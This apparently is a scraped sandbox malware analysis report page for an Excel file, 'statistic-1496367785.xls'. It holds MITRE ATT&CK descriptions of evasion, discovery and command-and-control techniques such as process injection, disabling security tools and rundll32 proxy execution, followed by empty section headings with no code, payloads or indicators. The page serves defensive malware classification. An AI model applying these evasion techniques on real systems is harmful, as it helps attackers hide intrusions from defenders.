Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report statistic-1496367785.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "statistic-1496367785.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Book, File Type: Applesoft BASIC program data, first line number 8, Stream Size: 521856

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTPS Packets

Code Manipulations

Statistics

CPU Usage

Memory Usage